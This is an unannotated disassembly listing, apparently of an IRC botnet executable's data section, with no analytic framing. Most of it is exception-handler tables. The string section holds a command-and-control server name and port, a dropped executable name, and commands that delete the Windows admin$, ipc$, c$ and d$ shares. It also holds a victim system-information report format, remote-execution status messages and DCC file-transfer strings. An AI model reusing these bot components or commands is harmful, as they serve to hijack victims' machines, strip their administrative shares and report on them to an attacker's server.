dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh dd 43B140h, 2 dup(0) dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0 dd offset loc_43B178 dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0) dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0 dd offset loc_43B358 dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0) dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0) dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0 dd offset loc_43B55B dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah dd 43B884h, 3Bh, 43B892h, 0Eh dup(0) dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0 dd offset loc_43B98B dd 1, 43B996h, 2, 43B9A1h, 2 dup(0) dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0 dd offset loc_43B9DB dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0) dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0 dd offset loc_43BA4E dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0) dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0 dd offset loc_43BAAB dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0) dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0 dd offset loc_43BB0B dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0) dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0) dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0) dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BBh, 43h, 0 align 10h dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0 dd offset loc_43BBFB dd 1, 43BC06h, 2, 43BC11h, 2 dup(0) dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0 dd offset loc_43BC4B dd 1, 43BC56h, 2, 43BC61h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0 dd offset loc_43BC9B dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0) dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0 dd offset loc_43BD0E dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0) dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0 dd offset loc_43BD6B dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0) dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BDh, 43h, 0 dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0) dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0) dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0) dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0) dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0 dd offset loc_43BE8B dd 2 dup(0) dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0 dd offset loc_43BEBB dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0) dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0) dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0 dd offset loc_43BF2B dd 2 dup(0) dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0) dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0) dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0 dd offset loc_43BF9B align 10h dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0) dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0 dd offset loc_43BFF7 dd 1, 43BFFFh, 2 dup(0) dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0) dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0 dd offset sub_43C040 dd 0 dd offset loc_43C05F dd 2, 43C067h, 2 dup(0) dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh dd 43C0B8h, 2 dup(0) dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0 dd offset loc_43C0EB dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0) dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0 dd offset loc_43C278 dd 1, 43C283h, 2, 43C28Eh, 2 dup(0) dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0 dd offset loc_43C2B8 dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0) dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0 ; --------------------------------------------------------------------------- clc retn 43h ; --------------------------------------------------------------------------- dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0) dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0 ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- dw 43h dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0) dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0) dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh dd 43C420h, 2 dup(0) dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0) dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0 dd offset loc_43C488 dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0) dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442548h, 4 dup(0) dd offset loc_41EF2C align 10h dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0 dd offset loc_43C52B dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0) dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0 dd offset loc_43C5C8 dd 2 dup(0) dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h dd 2 dup(0) dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0) dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0 dd offset loc_43C64B align 10h dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0 dd offset loc_43C67B dd 0 dd offset loc_43C683 dd 0 dd offset loc_43C68B dd 3, 43C693h, 4, 43C69Bh, 0 dd offset loc_43C6A3 dd 6, 43C6ABh, 7, 43C6B3h, 0 dd offset loc_43C6BB dd 9, 43C6C3h, 0Ah, 43C6CBh, 0 dd offset loc_43C6D3 dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0 dd offset loc_43C6EB dd 0Fh, 43C6F3h, 0 dd offset loc_43C6FB dd 11h, 43C703h, 0 dd offset loc_43C70B dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0) dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0) dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0) dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0) dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0) dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0) dword_442910 dd 19930520h, 5, 442930h, 5 dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh dd 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0) dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh dd 43C9BCh, 6 dup(0) dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0) dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0 dd offset loc_43CA28 dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0) dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0 dd offset loc_43CA78 dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0) dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0) dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0) dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0) dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0) dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0) dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0) dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0) dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0) dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0 dd offset loc_43CBC8 dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0) dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0 dd offset loc_43CC28 dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0) dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0 dd offset loc_43CC88 dd 1, 43CC96h, 2 dup(0) dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 2 dw 43h dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0) dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0) dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0) dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0) dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0) dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0) dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442FA0h, 4 dup(0) dd offset loc_42C244 dd 2 dup(0) dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 443000h, 4 dup(0) dd offset loc_42C321 dd 2 dup(0) dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0 dd offset loc_43CEC8 dd 1, 43CED0h, 2 dup(0) dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0) dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0) dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0) dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0) dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0) dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh dd 43CFC8h, 2 dup(0) dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0) dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0) dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0 dd offset loc_43D10B dd 2 dup(0) dword_4432F8 dd 19930520h, 1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0) dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0) dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0) dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd offset aRrrrrrrrrr+7Ah dd 105h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_403530+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4445EC: ; DATA XREF: sub_403530+66o ; sub_410030:loc_41090Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo ; sub_404CC0+AEBo ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo ; sub_404CC0+B58o ... align 10h asc_444600: ; DATA XREF: sub_404690:loc_40476Fo ; sub_404690+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404690+75o ; sub_410030:loc_410A19o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o align 8 aN: ; DATA XREF: sub_404CC0+D1Do unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o ; sub_41C130+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o ; sub_404CC0+9ABo ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_4068E0+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o dd 0 a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o align 10h a98 db '98',0 ; DATA XREF: sub_4068E0+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo align 4 a95 db '95',0 ; DATA XREF: sub_4068E0+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do ; ___:00406E85o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o ; sub_40ED00+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o dd 0 dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A8o ... dword_4447F8 dd 2Eh ; ___:0041B2DAo ... aMicrosoftVisua db 'MicroSoft Visual SP4',0 ; DATA XREF: sub_4077E0+403o align 8 aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o align 10h aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o align 10h aSet db 'set',0 ; DATA XREF: sub_4077E0+359o asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o align 4 aAyssafsdsfsddk db 'ayssafsdsfsddklfsdf',0 ; DATA XREF: sub_4077E0+337o align 10h aIgfsfdsda32_ex db 'igfsfdsda32.exe',0 ; DATA XREF: sub_4077E0+326o dd 0 aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o align 4 off_44486C dd offset byte_582323 ; DATA XREF: sub_4077E0+307o dword_444870 dd 23582323h, 23ha6677 db '6677',0 ; DATA XREF: sub_4077E0+29Bo align 10h aIrcx_unicat_or db 'ircX.unicat.org',0 ; DATA XREF: sub_4077E0+283o dd 2 dup(0) off_444898 dd offset off_43F1D4 ; DATA XREF: ___:00440014o align 10h a_?avexception@ db '.?AVexception@@',0 dd 2 dup(0) off_4448B8 dd offset off_43F1D4 ; DATA XREF: ___:00440034o align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h off_4448E0 dd offset off_43F1D4 ; DATA XREF: ___:00440054o align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h dd 2 dup(0) aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o ; ___:0040AA51o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo ; sub_40B7E0+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B87Fo align 4 aFalse db 'false',0 ; DATA XREF: ___:0040B924o align 10h aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao align 4 dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o align 4 aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao align 10h dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C4E0+48Ao align 10h dd 2 dup(0) aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o align 8 aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o align 4 dword_444A08 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C4E0+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o align 10h dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o align 10h aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo align 10h aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o align 10h aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o dd 2 dup(0) aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o dd 0 asc_444ADC: ; DATA XREF: sub_40CC90+113o ; 